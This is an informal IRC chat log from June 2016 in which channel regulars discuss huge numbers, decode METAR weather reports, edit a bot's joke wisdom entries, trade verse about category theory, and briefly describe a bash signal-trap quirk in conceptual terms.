arch-nemesis is Betty Crocker. 23:46:20 "Evil" is how you write "live" backward. 23:47:57 oerjan lives far away in the Land of the Frost Giants. he's probably a unique monster himself, reachable through a long, arduous sidequesr. 23:48:10 s/sr/st/ 23:49:28 I think I figured out the problem with my NTSC decoder and fixed it now. 23:50:18 helloily 23:50:57 quinthellopia 23:51:22 Huh. Googolplexigong is a number 23:51:31 10^10^100_000 23:52:41 Aww, ##googology is barely occupied 23:52:50 4 people, including me 23:52:54 And ChanServ 23:53:11 boily: oerjan is not actually reachable by any means, even visiting Niflheim in person 23:53:44 darn. 23:53:49 you can only cast magical IRC spells in his direction and hope some of them are overheard from such a distance 23:55:02 so here comes that weekend where you're free and i'm not 23:55:11 i'm p much never free weekends anymore! 23:55:14 * boily swings his mapole in the Summoning Dance. «y'où'c'que t'es rendu?» 23:55:17 always doing things! 23:55:20 noooooooooo! 23:55:37 if you teleport to philadelphia you might find me 23:56:26 you're in philly now? what is the nearest airport? 23:57:05 http://www.googolplexwrittenout.com/ 23:59:03 Oooh, a googolplex is equivalent to ten trillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrest 23:59:03 rigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentillitrestrigintatrecentilliduotrigintatrecentillion 23:59:31 (under Conway/Guy) 2016-06-08: 00:00:26 Hm, the smallest known factor of 10^10^100+1 is 316,912,650,057,057,350,374,175,801,344,000,001 00:00:41 God I love impractically large numbers 00:01:37 Any number n suffixed with "-plex" is 10^n 00:01:43 threeplex, for example, is 1000 00:03:32 hppavellon[1]. megagon. 00:03:53 uhm, no, not megagon. 00:04:52 megiston! 00:05:23 so a googolplex is a hundredplexplex? 00:05:33 (meanwhile, while search-completing graham's number on wikipédia, this happened: https://en.wikipedia.org/wiki/Mammillaria_grahamii ) 00:06:07 * izabera erases that from her browser history 00:07:21 01:00:26 hppavilion[1] | Hm, the smallest known factor of 10^10^100+1 is 316,912,650,057,057,350,374,175,801,344,000,001 <- just how did they manage to find it? 00:07:41 izabera: Who gives a fuck? 00:07:44 i do 00:07:48 izabera: Oh. 00:07:53 you have a browser history? 00:08:02 * hppavilion[1] reevaluates his fuckgiving detection algorithm 00:08:04 i haven't found a way to disable it 00:08:17 I used to have a brother but that's history 00:08:18 -!- Sgeo_ has joined. 00:08:34 sorry to hear 00:08:40 izabera: But they probably used exp-mod. I think it generalizes to up-arrow 00:08:46 izabera: isn't there an option to clear all memory everytime you close the browser? 00:09:09 Koen_: I suppose it is (googolplex = hundredplexplex) 00:09:47 Googolmilliplex 00:10:00 Googol + 1_000_000 plexes 00:10:41 Cockburn is a very unfortunate surname 00:10:55 Also, I now have about a googol tabs open 00:11:52 i will be in philly in the weekend 00:12:23 the nearest airport is phl: philadelphia international 00:12:34 i don't know the corresponding metar station 00:12:38 could be kphl 00:13:21 @metar KPHL 00:13:21 KPHL 072254Z 30008KT 10SM FEW060 SCT140 SCT250 26/12 A2950 RMK AO2 SLP989 T02560117 PNO $ 00:13:29 sounds about right. 00:13:34 @metar CYUL 00:13:34 CYUL 072300Z 27008G15KT 30SM FEW025TCU FEW050 FEW100 SCT240 18/12 A2941 RMK TCU1CU1AC2CI2 TCU TR CU TR SLP959 DENSITY ALT 1100FT 00:13:56 holy towering cumulus batman... 00:14:21 People being able to read @metar output scares me 00:14:52 i can't read it 00:14:58 i was hoping boily would translate those 00:15:27 let me do that... 00:16:11 What's the complex equivalent of a Googolplex? That is, the canonical really-fucking-big complex number? 00:17:12 doesn't googolplex count as a really-fucking-big complex number? 00:17:35 KPHL: report made at 10:54pm UTC June 7th. winds from the northwest, 8 knots. ground visibility 10 miles. few clouds at 6000', scattered clouds at 14000' and at 25000'. temperature is 26 °C, dew point 12 °C. QFE is 29.50 inHg. random automated trend stuff. weather station needs maintenance. 00:18:33 @metar TRN 00:18:41 wait wrong code 00:19:27 @metar LIMF 00:19:27 LIMF 072250Z 27004KT 9999 TS VCSH SCT030CB 21/15 Q1021 00:19:43 CYUL: report at 11:00pm UTC June 7th. west winds, 8 knots with gusts at 15. ground visibility 30 miles. few clouds at 2500' with towering cumulus. few cumulus at 5000'. few altocumulus at 1000'. scattered cirrus at 24000'. temperature 18 °C, dew point 12 °C. QFE is 29.41 inHg, QNH is 995.9 hPa. 00:20:06 boily: do LIMF plz 00:21:45 LIMF: report at 10:50pm UTC June 7th. west winds, 4 knots. no ground visibility limit. thunderstorms, with showers in the vicinity. scattered clouds at 3000'. don't know what CB is. temperature 21 °C, dew point 15 °C. QNH is 1002.1 hPa. 00:21:58 izabera: ...crap 00:22:18 izabera: are you Italian? 00:22:23 yessir 00:23:47 does Z mean UTC? 00:24:13 boily: how does 3000 or 2700 mean "northwest" and "west" 00:24:41 it's only the first three digits that are part of the compass hth. 00:24:46 izabera: yes. 00:24:52 CB is cumulonimbus. 00:25:19 is it 300 degrees clockwise from north? 00:25:29 yup. 00:25:36 oh okay 00:25:37 welp 00:25:39 battery low 00:25:42 time to go 00:25:45 enjoy the show 00:25:49 goodbye~ 00:26:10 quintonne soiréeia! 00:27:07 @localtime izabera 00:27:07 Local time for izabera is Tue, 07 Jun 2016 23:27:07 +0000 00:27:26 that's on my vps 00:27:32 local time is 01:27 00:31:48 did you know that google provides accurate stats on m:tg cards? http://i.imgur.com/C0YS9Y5.png 00:33:39 ! 00:34:58 If the power n^m corresponds geometrically to the (hyper)volume of an m-cube with side-length n, what's tetration, anyway? 00:37:51 what if m is not an integer? 00:39:20 Koen_: Then you are dealing with a very strange universe 00:39:40 haussdorf dimension 00:43:58 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 00:53:02 i was about to quibble about all the disagreeing fractal dimensions but i guess hausdorf is more or less semantically what hppavilion described 01:19:39 -!- nisstyre has quit (Changing host). 01:19:39 -!- nisstyre has joined. 01:26:09 -!- oerjan has joined. 01:27:45 -!- Elronnd has changed nick to My. 01:27:56 -!- My has changed nick to Elronnd. 01:29:16 oerjan: do you know anything about https://en.wikipedia.org/wiki/Homology_(biology) <-- i've heard the term hth 01:29:42 Oh, I was going to make a placenta/placebo pun somehow. 01:30:04 And then I was reading https://en.wikipedia.org/wiki/Placenta and it talked about homology of placentas and it reminded me of you. 01:30:21 ... 01:31:17 I'm not quite reconstructing my train of thought there. 01:31:42 O KAY 01:34:26 -!- Akaibu has joined. 01:36:17 shachaf: remember, oerjan is a Frost Giant hth 01:36:18 åhoily! finally, we reach the end. 01:36:38 -!- xkapastel has joined. 01:36:45 Have you øhoilyd? 01:36:52 pretty sure 01:37:16 back on the 3rd 01:37:38 that's 5 days ago! 01:38:26 maybe i should have gone the {hoily path instead. 01:38:42 but that would soon give unprintable characters. 01:38:55 the porthoily that shan't be named. 01:39:50 i'm not a giant and i haven't even seen Frost hth 01:40:13 oerjan: how tall are you? 01:40:58 well i used to be 1.82 m, i cannot remember what it was last time i measured 01:41:36 actually i'm not even sure when. 01:42:16 ah, 6'. quite tall. 01:42:24 `frink 1.82m -> feet 01:42:33 behold the hopeless command 01:43:24 No output. 01:43:29 `frink 1.82m -> feet 01:43:31 But a giant is going to be even more tall isn't it? 01:43:38 behold the still almost hopeless command 01:43:45 Then fix it 01:43:47 zzo38: you'd think. 01:44:06 zzo38: the problem isn't the command itself, but HackEgo's bad server that times out 01:44:07 No output. 01:44:12 `wisdom 01:44:18 bonsaikitten//Bonsaikitten is the cat typing behind the glass of the CRT when you run the cat command. 01:44:19 Write a faster program 01:44:37 zzo38: frink is a programming language 01:44:51 `which units 01:44:52 ​/hackenv/bin/units 01:44:55 hm 01:45:21 `units 1.82m -> feet 01:45:24 Error in '1.82m -> feet': Unknown unit '>' 01:45:35 `units 1.82m in feet 01:45:36 ​Definition: 0.014090294 m^3 01:45:42 argh 01:46:02 hm... 01:46:16 `` units 1.82m feet 01:46:17 ​* 5.9711286 \ / 0.16747253 01:46:41 what's the second line for 01:46:48 inverse. 01:47:28 right 01:48:10 -!- idris-bot has quit (Ping timeout: 244 seconds). 01:48:21 `culprits bin/units 01:48:28 tswett tswett shachaf shachaf elliott elliott nitia 01:48:35 ic 02:05:12 -!- augur has quit (Remote host closed the connection). 02:06:25 Do USB wall plugs automatically shut off once the device has finished charging? 02:07:26 I don't think so. do you have an ammeter with you? 02:08:47 No 02:10:25 My brother has a problem the fan for his computer is connected by USB to a wall plug, and sometimes it goes off and won't go on until the USB wall plug is unplugged and then plug in again. 02:15:58 -!- boily has quit (Quit: WOOLY CHICKEN). 02:21:50 so apparently i found a bug in bash and i'm wondering how serious it is from a security point of view 02:22:10 bash can trap signals and i found a way to bypass a trap on sigalarm 02:22:43 so if someone is running a security check of some sort when it gets a sigalarm, i can bypass that check 02:23:28 fancy 02:23:47 i know nothing of security and i don't know how realistic that made up scenario is 02:24:28 It depend in what ways it might be bypassed I think, and I also don't know if there is something with the kernel that affects it? 02:24:42 no it's just bash being stupid 02:26:26 read -t 3 reads input with a 3s timeout, and it does so by calling setitimer and then catching the first sigalarm it gets 02:26:39 which may or may not be the right one 02:26:42 * oerjan doesn't know what security programs if any are written in bash 02:26:52 sounds like a dangerous thing to do, anyway 02:27:54 anyway if you have a trap on sigalarm and you deliver a sigalarm while your script is doing read -t, your trap never runs 02:28:18 so idk 02:29:00 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 02:38:27 I don't expect that to be a problem. 02:38:45 You are just programming your script wrong if you do stuff like that. 02:39:04 i don't think it's the user's fault 02:39:28 Yes, maybe it is te fault of the documentation, if it does not document that. 02:39:58 read -t should just be implemented with select instead of messing with signals 02:41:08 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 02:42:20 and what should the docs mention? "warning: traps may be randomly dropped for reasons that you can't control" 02:43:44 No, it should mention how read is implemented. 02:45:18 i think people complain enough about the lenght of that man page without going into implementation details 02:47:47 Note that read does return failure when it times out anyways 02:48:27 `cat bin/makelist 02:48:27 the point isn't read, it's the trap that never runs 02:48:29 file="bin/$1"; shift; cp bin/emptylist "$file"; for n in "$@"; do echo "$n" >> "$file"; done 02:49:57 `cat bin/emptylist 02:49:59 echo -n "$(basename "$0")${@:+ }$@: "; tail -n+2 "$0" | xargs; exit 02:51:25 -!- hppavilion[1] has joined. 02:58:59 Huh. 666 is the 36th triangular number 02:59:06 And the sum of the numbers on a roulette wheel 03:00:08 The first 144 (122) digits of pi add up to 666 03:01:25 666666666666666666666666666666666666666666666666666666666666666666 03:01:28 66 6s 03:01:35 beastly 03:01:58 66 repeated 33 times 03:03:13 The first 144 (122) digits of pi add up to 666 <- why is this noteworthy? 03:03:34 33, of course, being the highest degree of freemason 03:03:37 (damn this is fun) 03:03:40 izabera: It's just weird 03:03:46 why? 03:03:47 izabera: 122 is supposed to be 12^2 03:03:54 yeah i figured that 03:04:05 izabera: It's a perfect square 03:04:09 so? 03:04:14 izabera: And there aren't very many of those (:P) 03:04:27 they were infinite last time i checked 03:04:37 izabera: Yes, that's the joke 03:04:58 izabera: But still, it's rather funny. I'm sure I could freak someone out with it. 03:24:22 -!- Cale has quit (Ping timeout: 272 seconds). 03:25:18 Some people don't like 666 03:27:46 Are you sure 33 is the highest degree of Freemasonry? I thought there are only three degrees 03:29:26 -!- augur has joined. 03:29:52 O, the Scottish Rite has 33 degrees. 03:37:47 -!- Cale has joined. 03:38:15 But I don't know any Freemasonry that would have 90 degrees. 03:39:00 (Someone claimed that the 90th degree of Freemasonry is when they are told that they worship the devil.) 03:39:12 (Of course, that is complete nonsense.) 03:41:56 -!- pelegreno_ has quit (Remote host closed the connection). 03:42:05 -!- Sprocklem has quit (Ping timeout: 260 seconds). 03:43:11 -!- pelegreno has joined. 03:49:43 -!- Sprocklem has joined. 04:13:30 `? it 04:13:37 It little profits that an idle king, / By this still hearth, among these barren crags, / Match'd with an aged wife, I mete and dole / Unequal laws unto a savage race, / That hoard, and sleep, and feed, and know not me. / I cannot rest from travel: I will drink / Life to the lees; all times I have enjoy'd / Greatly, have suffer'd greatly, both with 04:13:58 `` \? it | tail 04:14:01 It little profits that an idle king, / By this still hearth, among these barren crags, / Match'd with an aged wife, I mete and dole / Unequal laws unto a savage race, / That hoard, and sleep, and feed, and know not me. / I cannot rest from travel: I will drink / Life to the lees; all times I have enjoy'd / Greatly, have suffer'd greatly, both with 04:15:09 `` \? it | tail -c350 04:15:11 s, councils, governments, / Myself not least, but honour'd of them all; / And drunk delight of battle with my peers, / Far on the ringing plains of windy Troy, / I am a part of all that I have met; / Yet all experience is an arch wherethro' / Gleams that untravell'd world, whose margin fades / For ever and for ever when I move. \ Taneb invented it 04:16:52 `? submarine jousting 04:16:54 submarine jousting is unexplainable. 04:17:23 `sled wisdom/submarine jousting//s/./S/ 04:17:28 wisdom/submarine jousting//Submarine jousting is unexplainable. 04:19:34 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 04:29:17 `? shakespeare 04:29:18 And besicue and a saint and son the may bean the butcious and one them bear and may me for here the mance of my lord, and leave and thou arl of the prince and will not and and hour blood and the be buralont; 04:39:53 http://www.isi.edu/natural-language/people/poem/poem.php 04:40:08 Nepali Turkish Timorese / and foreign sourcing overseas . 04:40:25 McCann cartoons instead delay / and burdens customers today . 04:50:08 Detector member Silverstein / declares an exquisite cuisine . 04:52:56 The royals simply integrate / a Muslim Serbian dictate . 04:53:24 Hotels and countless alternates / recouped unless demand dictates . 04:53:43 Divorce asylum entertained / the jurors challenges remained . 04:53:46 These are TG. 04:53:59 The eastern roiling financier / professionals revives career . 04:54:38 What's a famous poem written in that meter? 04:54:50 Iambic tetrameter. 04:54:55 I can almost place it. 04:56:21 Decaying formula today / and iceland slugging anyway . 04:57:21 Bizarre campaign concludes pursues / philanthropy the barbecues . 05:03:15 The princess witty magazine / routine describes a submarine . 05:03:37 The Oprah prevalent deposed / result repeatedly exposed . 05:03:42 Maybe this isn't the right channel. 05:04:20 shachaf: Xanadu? 05:05:03 I'm fused. 05:05:21 oerjan: Hmm, maybe. 05:05:29 zzo38: did you play with superglue 05:06:06 oerjan: I don't think that's the one, the structure is more complicted. 05:06:14 No, I make mistake. I should mean: I'm confused. 05:06:49 shachaf: Jabberwocky? 05:07:12 i'm not sure that fits 05:07:56 hm i think it does 05:08:06 oerjan: You're quite good at naming things with a similar meter that I've forgotten about. 05:08:16 But I don't think it's either of those. 05:08:29 i don't really know that many poems 05:08:38 The thing I'm thinking of has rhyming couplets, I'm pretty sure. 05:11:40 I wonder whether it's in English... 05:12:01 heh 05:13:12 But when I read a bunch of those passwords in a row it certainly reminds me of something. 05:17:58 time for some cheating 05:19:01 shachaf: the wikipedia page for iambic tetrameter has a hebrew example 05:19:10 Yes. But it's not that. 05:20:17 Your guesses are the best I've heard. 05:20:28 Or maybe ... 05:21:11 I'll just assume it's Jabberwocky I'm thinking of, couplets or not. 05:22:14 O KAY 05:22:44 How can you not know many poems, though? I thought you were a poet. 05:22:59 `? oerjan 05:23:01 Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. 05:23:29 Hmm, no way to fit it in. 05:23:59 very premature xkcd today. 05:25:49 suddenly girl genius is claiming sunday/tuesday schedule? 05:26:15 Should I read Girl Genius? 05:27:40 -!- Kaynato has quit (Ping timeout: 260 seconds). 05:27:43 -!- Caesura has joined. 05:28:31 of course 05:30:29 If oerjan, esteemed overlord, / Would read it of his own accord 05:32:51 -!- variable has joined. 05:33:44 that guy does not look overly pleased, or friendly. 05:34:45 -!- variable has changed nick to trout. 05:35:16 Oops, I forgot that the emphasis isn't on the first syllable. 05:35:53 esteemed, you mean? 05:35:57 oerjan 05:36:07 hm? of course it is. 05:36:22 What? When I asked a Norwegian to pronounce it, it sounded more like it was on the second syllable. 05:36:24 it's definitely not _more_ on the second, anyway. 05:36:32 And then when I asked about that, he said it was on both syllables. 05:36:44 that's probably your brain overcompensating. 05:36:46 `? Elronnd 05:36:49 Elronnd desperately wants this entry to say something. 05:37:55 Our overlord mysterious, / Is rarely very serious. 05:38:02 Or is it "imperious"? 05:38:04 @wn imperious 05:38:06 *** "imperious" wn "WordNet (r) 3.0 (2006)" 05:38:06 imperious 05:38:06 adj 1: having or showing arrogant superiority to and disdain of 05:38:06 those one views as unworthy; "some economists are 05:38:06 disdainful of their colleagues in other social 05:38:08 [7 @more lines] 05:38:23 @more 05:38:23 disciplines"; "haughty aristocrats"; "his lordly manners 05:38:23 were offensive"; "walked with a prideful swagger"; "very 05:38:23 sniffy about breaches of etiquette"; "his mother eyed my 05:38:23 clothes with a supercilious air"; "a more swaggering mood 05:38:23 than usual"- W.L.Shirer [syn: {disdainful}, {haughty}, 05:38:25 {imperious}, {lordly}, {overbearing}, {prideful}, 05:38:27 {sniffy}, {supercilious}, {swaggering}] 05:38:59 Maybe not. 05:40:19 Maybe Eugene Onegin is the most famous iambic tetrameter poem. 05:40:21 But I never read it. 05:44:35 Locate our cackling overlord, / And get a thousand pound reward. 05:47:02 The word he wants is "amortized", / His wisdom entry advertised. 05:50:45 `le/rn lambek's lemma/Lambek's Lemma, invented by Joachim "Taneb" Lambek, states that initial algebras have inverses. 05:50:49 Learned «lambek's lemma» 05:52:45 F-algebras are pretty neat. 05:53:29 I don't follow the Wikipedia page, though: "In mathematics, specifically in category theory, F-algebras generalize algebraic structure. Rewriting the algebraic laws in terms of morphisms eliminates all references to quantified elements from the axioms, and these algebraic laws may then be glued together in terms of a single functor F, the signature." 05:53:34 Don't F-algebras not have laws? 05:54:12 how fortunate that i have no idea. 05:54:37 I guess this isn't the right channel to ask. 05:54:53 Cale and copumpkin might know. 05:55:03 And I talked about it with elliott once. 05:55:21 T-algebras for a monad T have laws. 05:55:26 Right. 05:55:31 But those are much more complicated than F-algebras. 05:55:50 fsvo much, yeah 05:56:51 Well, somewhat more complicated. 05:58:34 `rm aeDAGoZ 05:58:36 No output. 05:59:09 `culprits wisdom/it 05:59:15 b_jonas b_jonas b_jonas b_jonas b_jonas b_jonas 06:00:00 `sled wisdom/it//s\ $\\ 06:00:03 wisdom/it//It little profits that an idle king, / By this still hearth, among these barren crags, / Match'd with an aged wife, I mete and dole / Unequal laws unto a savage race, / That hoard, and sleep, and feed, and know not me. / I cannot rest from travel: I will drink / Life to the lees; all times I have enjoy'd / Greatly, have suffer'd greatly, 06:00:07 Oops. 06:05:47 -!- Kaynato has joined. 06:05:52 `` rgrep -l ' $' wisdom 06:05:54 wisdom/elendil \ wisdom/hydrogen \ wisdom/math \ wisdom/utumno \ wisdom/wealhtheow \ wisdom/fat \ wisdom/ghoul \ wisdom/delve \ wisdom/if \ wisdom/speedy gonzales \ wisdom/o \ wisdom/rhenium \ wisdom/semmelweis \ wisdom/ᛁᚿ 06:06:55 `` tail -c340 wisdom/it 06:06:56 ils, governments, / Myself not least, but honour'd of them all; / And drunk delight of battle with my peers, / Far on the ringing plains of windy Troy, / I am a part of all that I have met; / Yet all experience is an arch wherethro' / Gleams that untravell'd world, whose margin fades / For ever and for ever when I move. \ Taneb invented it. 06:07:35 `` before | tail -c340 06:07:44 s, governments, / Myself not least, but honour'd of them all; / And drunk delight of battle with my peers, / Far on the ringing plains of windy Troy, / I am a part of all that I have met; / Yet all experience is an arch wherethro' / Gleams that untravell'd world, whose margin fades / For ever and for ever when I move. \ Taneb invented it. 06:07:49 ah 06:08:13 -!- Caesura has quit (Ping timeout: 244 seconds). 06:09:20 `? speedy gonzales 06:09:22 Sp e e d y G o n z a l e s i s t h e f a s t e s t 06:09:28 oh 06:10:14 i guess i made that. 06:10:41 `` sed -i 's/ *$//' wisdom/speedy\ gonzales 06:10:44 No output. 06:20:37 `hogue wisdom/speedy gonzales 06:20:43 ` sed -i \'s/ *$//\' wisdom/speedy\\ gonzales \ le/rn speedy gonzales/Sp e e d y G o n z a l e s i s t h e f a s t 06:21:05 `1 hogue wisdom/speedy\ gonzales 06:21:18 1/2: ` sed -i \'s/ *$//\' wisdom/speedy\\ gonzales \ le/rn speedy gonzales/Sp e e d y G o n z a l e s i s t h e f a s 06:21:20 `spam 06:21:22 2/2: t e s t m o \ 06:32:16 Stop spamming please 06:34:05 oerjan started it. 06:37:54 -!- DigitoriiX has quit. 06:38:58 oerjan: placenta-based homology? / i owe you an apology 06:42:31 you think that such an awful curse / can be undone by writing verse? 06:43:10 -!- lambda-11235 has quit (Quit: Bye). 06:45:20 if verse alone will not suffice / then what would be your asking price? 06:49:10 your task, to introduce, must be / the word placenta in CT 06:50:51 or if you are for this too dense / you may instead put it in lens. 06:52:11 i know for sure it is the case / it won't look very out of place 06:55:58 well, birth as a formality / is just initiality 06:59:14 and so placentas could be shown / to be a universal cone 07:00:36 for algebras, as Lambek told / placenta would just be a fold 07:01:13 Wait, that's not Lambek's lemma. 07:01:15 Oh well. 07:05:37 very tragic. 07:05:44 now i shave -> 07:09:07 a universal cone, i think, / is terminal (the missing link!) 07:10:25 and therefore (color me magenta) / it could be called a coplacenta 07:12:16 -!- Kaynato has quit (Ping timeout: 252 seconds). 07:14:09 "initial", as we've just unearthed, / tells us that an object birthed 07:14:39 all others, metaphorically, / which must mean, categorically, 07:21:54 i envy how you can rhyme like crazy \ to do this properly i'm way too lazy 07:22:00 oerjan, looks like you were right re: storm king 07:22:14 Oh, it looks like I missed the rhyming thing 07:22:29 myname: it's the meter that you're missing, not the rhyme hth 07:23:01 I need to finish my verse. 07:23:19 i know 07:23:29 i am way better in thia in geman 07:23:32 german, even 07:26:27 that for an object to be final / (without a metaphor vaginal), 07:26:31 the arrow points the other way, / to death, destruction, and decay 07:27:53 but if that's so, then what's the story, / for a pointed category? 07:31:30 a zero object, says reflection, / would be the key to resurrection 07:32:05 wtf you're writing English poems? 07:32:11 what happened to this channel? 07:32:24 What language would you prefer? 07:32:38 klingon 07:32:55 Taneb: now i'm wondering if van rijn _really_ betrayed him, or if he's just confused. 07:33:21 that might depend on my euphrosynia theory the other day 07:34:51 more spämmi 07:35:17 shaving is scow 07:35:37 shachaf: especially with that razor blade, i decided to toss it. 07:35:53 (does this mean shachaf has a full beard?) 07:36:11 ask pikhq hth 07:36:25 pikhq: does shachaf have a full beard twh 07:36:34 now food -> 07:36:50 Hmm, I think three people in this channel have seen me. 07:37:03 Four including me, I guess. 07:43:35 -!- halvredin has joined. 07:50:35 oerjan: Not to my knowledge. 07:50:56 At least, when I saw him he did not, and I do not know if he is able to grow one. 07:51:14 shocking 07:51:33 are you doubting my beard skills 07:52:04 No, I am merely ignorant of them. 07:52:51 -!- hppavilion[1] has joined. 07:58:03 Are your pooching plans determined yet? 08:03:18 Nein 08:15:47 Paradox of the Ravens is mildly damaging the structural integrity of my mind via small explosive devices, bro 08:15:48 -!- xkapastel has quit (Quit: Connection closed for inactivity). 08:16:52 Doesn't seem very paradoxical. 08:16:57 Wait until you hear about Curry's paradox. 08:17:01 That paradox is TG. 08:18:04 `? tg 08:18:30 TG is short for Turing-Gödel, the highest possible level of difficulty for a multiplayer game. At this level, it's undecidable whether you can manage to halt before losing or not. 08:18:40 Turing-Gödel-Curry paradox 08:20:55 shachaf: Well yeah, it isn't a paradox per se (afaik), but it's still rather weird 08:28:05 -!- augur has quit (Remote host closed the connection). 08:32:39 -!- J_Arcane has quit (Remote host closed the connection). 08:34:29 http://i.imgur.com/3MTbXwX.gifv has to be photoshopped 08:43:13 that definitely needs some sound. 08:43:51 but i assume they're just showing off their dog training? 09:05:22 -!- halvredin has quit (Ping timeout: 260 seconds). 09:29:11 Hm... are there any possible numbers that are so big that there is literally no way to properly express them? 09:29:24 Like, even Graham's Number can be expressed in finite space 09:30:48 Or in a /reasonable/ amount of space 09:31:03 And you can conceive of it 09:32:53 Graham's number can be expressed in very small space. 09:32:56 hppavilion[1]: my impression from the last discussions i saw on naming big numbers is that the problem is that eventually it becomes unprovable (in the gödel sense) whether your expression actually names a number. 09:33:43 as in, these expression tend to use more and more esoteric ordinals, that may or may not exist. 09:33:46 *+s 09:36:09 oerjan: Ordinals? 09:36:13 or, of course, unprovable how big it is. 09:36:53 Aren't the ordinals infinite? At least, the esoteric ones? 09:37:05 a transfinite ordinal defines a recursion scheme. if the ordinal doesn't actually exist, the recursion never bottoms out. 09:37:19 oerjan: sounds like an extraordinally proof hth 09:37:24 but if it does, you can use it to define huge finite numbers. 09:38:25 eliezer yudkowsky won a challenge to name the biggest computable integer by using a hypothetical ZFC extension 09:38:59 (the biggest he could find, which means it's also most likely to be inconsistent instead) 09:40:13 (computable, in the sense that they had to sketch a computer program that would calculate it) 09:41:21 although that was computable, so busy beaver numbers will be far larger than that again 09:41:42 oerjan: Well, if they didn't have a sketch of a computer program, it would be more of an imputable integer. 09:51:37 -!- Phantom_Hoover has joined. 10:00:14 -!- Koen_ has joined. 10:11:02 -!- oerjan has quit (Quit: Nite). 10:21:04 `bobadventureslist 10:22:29 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bobadventureslist: not found 10:27:26 -!- earendel2 has joined. 10:27:47 -!- earendel2 has quit (Client Quit). 10:32:50 `? underwater jousting 10:33:00 underwater jousting? ¯\(°​_o)/¯ 10:34:12 `slashlearn underwater jousting/Underwater jousting is a sport played on the open sea in single-person kayaks, where people try to hit a beach ball with the paddles until they get sufficiently exhausted. Taneb invented it. 10:34:33 `? tanebventions 10:34:35 Learned «underwater jousting» 10:34:37 Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex. 10:34:56 wait, didn't shachaf just learn something for this yesterday? 10:35:20 Not me. 10:35:33 You're thinking of boily. 10:35:42 I'm very not boily. 10:35:44 oh, that was submarine jousting 10:35:48 `? submarine jousting 10:35:49 Submarine jousting is unexplainable. 10:35:55 `unlearn underwater jousting 10:35:56 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: unlearn: not found 10:36:01 `rm wisdom/underwater jousting 10:36:04 No output. 10:36:12 yeah, submarine jousting sounds funnier actually 10:36:15 `? tanebvention 10:36:17 Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex. 10:36:20 It's `forget 10:37:40 `sled wisdom/tanebvention//s/the/necessity, the/ 10:37:43 wisdom/tanebvention//Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex. 10:40:58 `? the BBC 10:40:59 the BBC? ¯\(°​_o)/¯ 10:41:02 `? BBC 10:41:05 The BBC is the BreadBox Corporation. Its inventions include, without limitation, Muppets and tiny elfs. Taneb invented it. 10:41:31 :D 10:42:25 If Gambler's Fallacy was accurate to reality, could we use it to build an Infinity Improbability Drive? 10:42:32 Oh, Taneb isn't the owner of muppetlabs/breadbox 10:42:33 hm 10:42:43 `? shaventions 10:42:45 shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them. 10:42:48 `? boilinventions 10:42:50 boilinventions? ¯\(°​_o)/¯ 10:42:59 `? jonasventions 10:43:00 jonasventions? ¯\(°​_o)/¯ 10:43:15 `? oerjanventions 10:43:16 oerjanventions? ¯\(°​_o)/¯ 10:43:22 hmm 10:43:35 `? hpventions 10:43:36 hpventions? ¯\(°​_o)/¯ 10:43:41 `? hpstructions 10:43:42 hpstructions? ¯\(°​_o)/¯ 10:43:45 woulnd't those be hppaventions? 10:43:56 `learn Necessity invented invention, because it had to. Taneb invented it. 10:43:59 b_jonas: You'd think so, wouldn't you 10:44:00 Learned 'necessity': Necessity invented invention, because it had to. Taneb invented it. 10:44:19 b_jonas: Feel free to fill out hpstructions 10:46:16 efghij is such a beautiful language 10:46:17 `le/rn necessity/If necessity did not exist, it would be necessary for Taneb to invent it. 10:46:21 Relearned «necessity» 10:46:58 Hmm, maybe that wisdom entry would be better as "God". 10:47:09 Taneb: what would you rather invent, necessity or god hth 10:47:14 @time Taneb 10:47:15 Local time for Taneb is Wed Jun 08 10:47:15 10:48:13 s/hth/twh/ 11:17:22 <\oren\> i am now inside a capsule hotel 11:17:51 in japan? 11:17:55 <\oren\> that is to say, i am encapsulayed 11:17:59 <\oren\> yes 11:27:21 \o/ 11:27:28 \oren\: is it nice in there? 11:29:38 -!- Akaibu has quit (Remote host closed the connection). 11:32:41 <\oren\> ybden: it has aircon and very fast internet so yes 11:34:27 <\oren\> and it is a few minutes walk from akihabara 11:34:51 -!- boily has joined. 11:35:26 <\oren\> konboilyha 11:35:46 <\oren\> i am in a capsule hotel 11:36:11 <\oren\> that is to say, i am *encapsulated* 11:37:28 bo\ren\matin! 11:37:50 @metar RJAA 11:37:51 RJAA 081030Z 16008KT 9999 FEW013 BKN050 21/19 Q1014 NOSIG RMK 1CU013 7SC050 A2995 11:38:49 -!- Akaibu has 